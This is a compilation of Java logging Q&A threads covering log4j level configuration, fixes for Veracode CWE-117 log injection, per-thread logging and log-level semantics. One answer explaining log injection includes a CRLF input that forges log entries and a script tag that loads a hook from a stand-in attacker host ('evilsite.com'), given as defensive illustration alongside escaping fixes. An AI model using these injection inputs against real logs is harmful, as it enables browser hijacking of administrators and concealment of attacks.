How to set a default log level in log4j.properties? - java

As far as I understand it, in log4j.properties you specify what log levels to let through and for single cases you can restrict it further. However, I want to restrict it for all cases and be more unrestrictive in single cases. The way I tried it (see below, by setting the root logger level to error) I only get error messages but how can I express to only use ERROR as a default level, in case nothing else is specified?
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.Target=System.out
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%m%n
log4j.appender.stdout.threshold=DEBUG
log4j.rootLogger=ERROR,stdout
# everything else should be ERROR
org.mypackage=DEBUG
org.verbosepackage=OFF
Solution
I'm sorry, I just noticed, that I forgot the "log4j.logger." in front of the packages. With it, it really works. Thanks everyone!

Related

How to fix Veracode CWE 117 (Improper Output Neutralization for Logs)

There is an Spring global #ExceptionHandler(Exception.class) method which logs exception like that:
#ExceptionHandler(Exception.class)
void handleException(Exception ex) {
logger.error("Simple error message", ex);
...
Veracode scan says that this logging has Improper Output Neutralization for Logs and suggest to use ESAPI logger. Is there any way how to fix this vulnerability without changing logger to ESAPI? This is the only place in code where I faced this issue and I try to figure out how to fix it with minimum changes. Maybe ESAPI has some methods I haven't noticed?
P.S. Current logger is Log4j over slf4j
UPD:
In the end I used ESAPI logger. I thought it wouldn't use my default logging service, but I was wrong and it simply used my slf4j logger interface with appropriate configuration.
private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);
ESAPI has extension of log4j logger and logger factory. It can be configured what to use in ESAPI.properties. For example:
ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
Is there any way how to fix this vulnerability without changing
logger to ESAPI?
In short, yes.
TLDR:
First understand the gravity of the error. The main concern is in falsifying the log statments. Say you had code like this:
log.error( transactionId + " for user " + username + " was unsuccessful."
If either variable is under user control they can inject false logging statements by using inputs like \r\n for user foobar was successful\rn thus allowing them to falsify the log and cover their tracks. (Well, in this contrived case, just make it a little harder to see what happened.)
The second method of attack is more of a chess move. Many logs are HTML formatted to be viewed in another program, for this example, we'll pretend the logs are meant to be HTML files to be viewed in a browser. Now we inject <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script> and you will have hooked a browser with an exploitation framework that's most likely executing as a server admin... because its doubtful that the CEO is going to be reading the log. Now the real hack can begin.
Defenses:
A simple defense is to make sure that all log statements with userinput escape the characters '\n' and '\r' with something obvious, like '֎' or you can do what ESAPI does and escape with the underscore. It really doesn't matter as long as its consistent, just keep in mind not to use character sets that would confuse you in the log. Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");
I also find it useful to make sure that log formats are exquisitely specified... meaning that you make sure you have a strict standard for what log statements need to look like and construct your formatting so that catching a malicious user is easier. All programmers must submit to the party and follow the format!
To defend against the HTML scenario, I would use the [OWASP encoder project][1]
As to why ESAPI's implementation is suggested, it is a very battle-tested library, but in a nutshell, this is essentially what we do. See the code:
/**
* Log the message after optionally encoding any special characters that might be dangerous when viewed
* by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
* injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
* specific session ID, and the current date/time.
*
* It will only log the message if the current logging level is enabled, otherwise it will
* discard the message.
*
* #param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
* #param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
* #param message the message to be logged
* #param throwable the {#code Throwable} from which to generate an exception stack trace.
*/
private void log(Level level, EventType type, String message, Throwable throwable) {
// Check to see if we need to log.
if (!isEnabledFor(level)) {
return;
}
// ensure there's something to log
if (message == null) {
message = "";
}
// ensure no CRLF injection into logs for forging records
String clean = message.replace('\n', '_').replace('\r', '_');
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
clean = ESAPI.encoder().encodeForHTML(message);
if (!message.equals(clean)) {
clean += " (Encoded)";
}
}
// log server, port, app name, module name -- server:80/app/module
StringBuilder appInfo = new StringBuilder();
if (ESAPI.currentRequest() != null && logServerIP) {
appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
}
if (logAppName) {
appInfo.append("/").append(applicationName);
}
appInfo.append("/").append(getName());
//get the type text if it exists
String typeInfo = "";
if (type != null) {
typeInfo += type + " ";
}
// log the message
// Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
// need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}
See lines 398-453. That's all the escaping that ESAPI provides. I would suggest copying the unit tests as well.
[DISCLAIMER]: I am project co-lead on ESAPI.
[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure your inputs are properly encoded when going into logging statements--every bit as much as when you're sending input back to the user.
I am new to Veracode and was facing CWE-117. I understood this error is raised by Veracode when your logger statement has the potential to get attacked via malicious request's parameter values passed in. So we need to removed /r and /n (CRLF) from variables that are getting used in the logger statement.
Most of the newbie will wonder what method should be used to remove CRLF from variable passed in logger statement. Also sometime replaceAll() will not work as it is not an approved method by Veracode. Therefore, here is the link to approved methods by Veracode to handles CWE problems.
[Link Expired #22.11.2022] https://help.veracode.com/reader/4EKhlLSMHm5jC8P8j3XccQ/IiF_rOE79ANbwnZwreSPGA
In my case I have used org.springframework.web.util.HtmlUtils.htmlEscape mentioned in the above link and it resolved the problem.
private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));
Edit-1: Veracode has stopped suggesting any particular function/method for sanitization of the logger variable. However still above solution will work. Find out the below link suggested by Veracode which explains what to do and how to do it to fix CWE-117 for some languages.
https://community.veracode.com/s/article/How-to-Fix-CWE-117-Improper-Output-Neutralization-for-Logs
JAVA: Using ESAPI library from OWASP for the logger. Checkout more details in link https://www.veracode.com/security/java/cwe-117
If you are using Logback use the replace function in your logback config pattern
original pattern
<pattern>%d %level %logger : %msg%n</pattern>
with replace
<pattern>%d %level %logger : %replace(%msg){'[\r\n]', '_'} %n</pattern>
if you want to strip <script> tag as well
<pattern>%d %-5level %logger : %replace(%msg){'[\r\n]|<script', '_'} %n</pattern>
This way you dont need to to modify individual log statements.
Though I am a bit late but I think it would help those who do not want to use ESAPI library and facing issue only for exception handler class
Use apache commons library
import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));
In order to avoid Veracode CWE 117 vulnerability I have used a custom logger class which uses HtmlUtils.htmlEscape() function to mitigate the vulnerablity.
Recommended solution to this problem by Veracode is to use ESAPI loggers but if you dont want to add an extra dependency to your project this should work fine.
https://github.com/divyashree11/VeracodeFixesJava/blob/master/spring-annotation-logs-demo/src/main/java/com/spring/demo/util/CustomLogger.java
I have tried with HtmlEscape of org.springframework.web.util.HtmlUtils, but it did not resolve by veracode's vulnerability. Give a try to below solution.
For Java use:
StringEscapeUtils.escapeJava(str)
For Html/JSP use:
StringEscapeUtils.escapeHtml(str)
Please use below package:
import org.appache.commons.lang.StringEscapeUtils;

How to get logs from current thread only in log4j

I want to intercept logs from the specific thread in my application for the certain period of time. I'm using log4j.
The code below does that, but I'm getting logs from others threads too.
WriterAppender appender = new WriterAppender(new PatternLayout("%d{ISO8601} %p - %m%n"), consoleWriter);
appender.setName("STR_APPENDER");
appender.setThreshold(org.apache.log4j.Level.INFO);
Logger.getRootLogger().addAppender(appender);
//Some Logic here (I'm using other classes and jars here and I want to get this logs as well)
Logger.getRootLogger().removeAppender("STR_APPENDER");
I'm aware that Logger.getRootLogger() is not a good solution here, but I don't have any other idea.
You can use MDC.put.
eg
MDC.put("threadName",Thread.currentThread().getName());
Using that you can put thread name.
Using Log4j appender you can print the thread name [%X{threadName} in logs

How can I use log level FINE without summoning an infinite stream of platform debug logging?

I'd like to use java util logging in my applet, at log level FINE and below.
I've put a logging.properties file in my applet's jar which says
handlers= java.util.logging.ConsoleHandler
.level= FINE
java.util.logging.ConsoleHandler.level = FINE
and in my applet class, I feed it to the log manager using
logManager.readConfiguration(getClass().getResourceAsStream("logging.properties"));
This successfully causes my debug logging to appear in the applet's console window, however as I should've expected, the java platform also begins to log its FINE level messages to the console.
Worse, the act of logging a message to the Java console, of itself, causes more AWT logging(!) This generates an infinite loop of messages in my console along the lines of
20:31:55 java.awt.mixing.Component FINE: this = javax.swing.JTextArea[...]
20:31:55 java.awt.mixing.Container FINE: this = javax.swing.JViewport[...]
I thought this should be easy to fix by adding
java.level=INFO
javax.level=INFO
sun.level=INFO
to my logging.properties file.
However, this does not work. The platform logging keeps spewing out, no matter what I write in the properties file.
I've dived into the source code. The LogManager appears to be keeping two different LoggingContexts. One for the user, one system context. My logging.properties file only affects the Loggers in the user LoggingContext, and therefore cannot influence the platform logging's settings.
The LogManager does share the rootLogger between the user LoggingContext and the system LoggingContext. And when I set its level to FINE, I get the infinite stream of awt blurb as a side effect.
So my question is: How can I get my user context's Loggers to log at level FINE by default but keep the system loggers at INFO level?
I had tried to do the same thing, but in a web start application. I needed to have java.util.logging set to FINEST in order to find some problems in the application. It didn't matter what I did, the Swing logging just kept on spewing.
Your question, and investigation that you had done helped me solving the problem, albeit in a very ugly way, but I only needed it temporarily. I grabbed the system loggers using reflection:
public static void tryToChangeSystemLogContextLoggers() {
try {
Field systemContextField = LogManager.class.getDeclaredField("systemContext");
systemContextField.setAccessible(true);
Object systemContext = systemContextField.get(LogManager.getLogManager());
Method demandLoggerMethod = systemContext.getClass().getDeclaredMethod("demandLogger", String.class, String.class);
demandLoggerMethod.setAccessible(true);
java.util.logging.Logger logger = (java.util.logging.Logger)demandLoggerMethod.invoke(systemContext, "java.awt", null);
logger.setLevel(java.util.logging.Level.WARNING);
logger.setUseParentHandlers(false);
logger = (java.util.logging.Logger)demandLoggerMethod.invoke(systemContext, "sun.awt", null);
logger.setLevel(java.util.logging.Level.WARNING);
logger.setUseParentHandlers(false);
logger = (java.util.logging.Logger)demandLoggerMethod.invoke(systemContext, "javax.swing", null);
logger.setLevel(java.util.logging.Level.WARNING);
logger.setUseParentHandlers(false);
} catch (Exception e) {
//Well, I tried
}
}
The code is fragile, and might not work in all java version.

Log4j not printing name before message

I have a log4j logger that I instantiate like this:
logger = Logger.getLogger("EQUIP(" + id + ")");
Doing so, when I call logger.info("message"), I should get an output like this (with some date formatting):
13/11/12 15:08:27 INFO: EQUIP(1): message
But I'm only getting:
13/11/12 15:08:27 INFO: message
I'm also printing logger.getName() to the console for debugging and it gives me back the correct "EQUIP(1)" name. This behaviour is happening in some cases in my program, where I have several loggers like this, but mostly in this specific class. I want to know if I'm doing something wrong, if this name should be only the class/package name, or if it can be anything (it works well in 80+% of my loggers). I need to print the ID of each equipment because I have several of them working simultaneous, and tracking them without this would be next to impossible.
How should I fix this, preferably without resourcing to changing all my log calls to include this prefix?
The output format depends on the pattern you've configured for the appender. If the pattern string includes %c then you'll get the logger name included, if it doesn't then you won't.
An alternative approach might be to use the mapped diagnostic context, which is designed to disambiguate between log output from different threads writing to the same logger.

Difference between logger.info and logger.debug

What is the difference between logger.debug and logger.info ?
When will logger.debug be printed?
I suggest you look at the article called "Short Introduction to log4j". It contains a short explanation of log levels and demonstrates how they can be used in practice. The basic idea of log levels is that you want to be able to configure how much detail the logs contain depending on the situation. For example, if you are trying to troubleshoot an issue, you would want the logs to be very verbose. In production, you might only want to see warnings and errors.
The log level for each component of your system is usually controlled through a parameter in a configuration file, so it's easy to change. Your code would contain various logging statements with different levels. When responding to an Exception, you might call Logger.error. If you want to print the value of a variable at any given point, you might call Logger.debug. This combination of a configurable logging level and logging statements within your program allow you full control over how your application will log its activity.
In the case of log4j at least, the ordering of log levels is:
DEBUG < INFO < WARN < ERROR < FATAL
Here is a short example from that article demonstrating how log levels work.
// get a logger instance named "com.foo"
Logger logger = Logger.getLogger("com.foo");
// Now set its level. Normally you do not need to set the
// level of a logger programmatically. This is usually done
// in configuration files.
logger.setLevel(Level.INFO);
Logger barlogger = Logger.getLogger("com.foo.Bar");
// This request is enabled, because WARN >= INFO.
logger.warn("Low fuel level.");
// This request is disabled, because DEBUG < INFO.
logger.debug("Starting search for nearest gas station.");
// The logger instance barlogger, named "com.foo.Bar",
// will inherit its level from the logger named
// "com.foo" Thus, the following request is enabled
// because INFO >= INFO.
barlogger.info("Located nearest gas station.");
// This request is disabled, because DEBUG < INFO.
barlogger.debug("Exiting gas station search");
This will depend on the logging configuration. The default value will depend on the framework being used. The idea is that later on by changing a configuration setting from INFO to DEBUG you will see a ton of more (or less if the other way around) lines printed without recompiling the whole application.
If you think which one to use then it boils down to thinking what you want to see on which level. For other levels for example in Log4J look at the API, http://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/Level.html
Just a clarification about the set of all possible levels, that are:
ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF
Basically it depends on how your loggers are configured. Typically you'd have debug output written out during development but turned off in production - or possibly have selected debug categories writing out while debugging a particular area.
The point of having different priorities is to allow you to turn up/down the level of detail on a particular component in a reasonably fine-grained way - and only needing to change the logging configuration (rather than code) to see the difference.
INFO is used to log the information your program is working as expected.
DEBUG is used to find the reason in case your program is not working as expected or an exception has occurred. it's in the interest of the developer.
This is a very old question, but i don't see my understanding here so I will add my 2 cents:
Every level corresponds/maps to a type of user:
debug : developer - manual debugging
trace : automated logging and step tracer - for 3rd level support
info : technician / support level 1 /2
warn : technician / user error : automated alert / support level 1
critical/fatal : depends on your setup - local IT
It depends on which level you selected in your log4j configuration file.
<Loggers>
<Root level="info">
...
If your level is "info" (by default), logger.debug(...) will not be printed in your console.
However, if your level is "debug", it will.
Depending on the criticality level of your code, you should use the most accurate level among the following ones :
ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF
Info Messages are something which we would like to see even if the application is in best of state.
Debug messages are usually something that we would like to see while debugging some problem.
What is the difference between logger.debug and logger.info?
These are only some default level already defined. You can define your own levels if you like.
The purpose of those levels is to enable/disable one or more of them, without making any change in your code.
When logger.debug will be printed ??
When you have enabled the debug or any higher level in your configuration.

Categories

Resources